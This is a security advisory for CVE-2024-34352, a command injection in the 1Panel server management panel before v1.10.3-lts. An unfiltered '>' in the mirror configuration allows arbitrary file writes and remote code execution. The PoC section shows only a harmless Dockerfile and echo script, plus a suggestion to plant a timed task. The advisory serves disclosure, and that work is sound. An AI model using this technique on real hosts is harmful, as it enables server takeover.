CVE-2024-34352

1Panel is an open source Linux server operation and maintenance management panel. Prior to v1.10.3-lts, there are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. The mirror configuration write symbol > can be used to achieve arbitrary file writing. This vulnerability is fixed in v1.10.3-lts.

Summary

There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. We can use the following mirror configuration write symbol > to achieve arbitrary file writing

PoC

Dockerfile

FROM bash:latest

COPY echo.sh /usr/local/bin/echo.sh
RUN chmod +x /usr/local/bin/echo.sh
CMD ["echo.sh"]

echo.sh

#!/usr/local/bin/bash
echo "Hello, World!"

Or write a timed task to execute any command.

Impact

The ability to write arbitrary files on the host where the service is deployed can lead to a host takeover
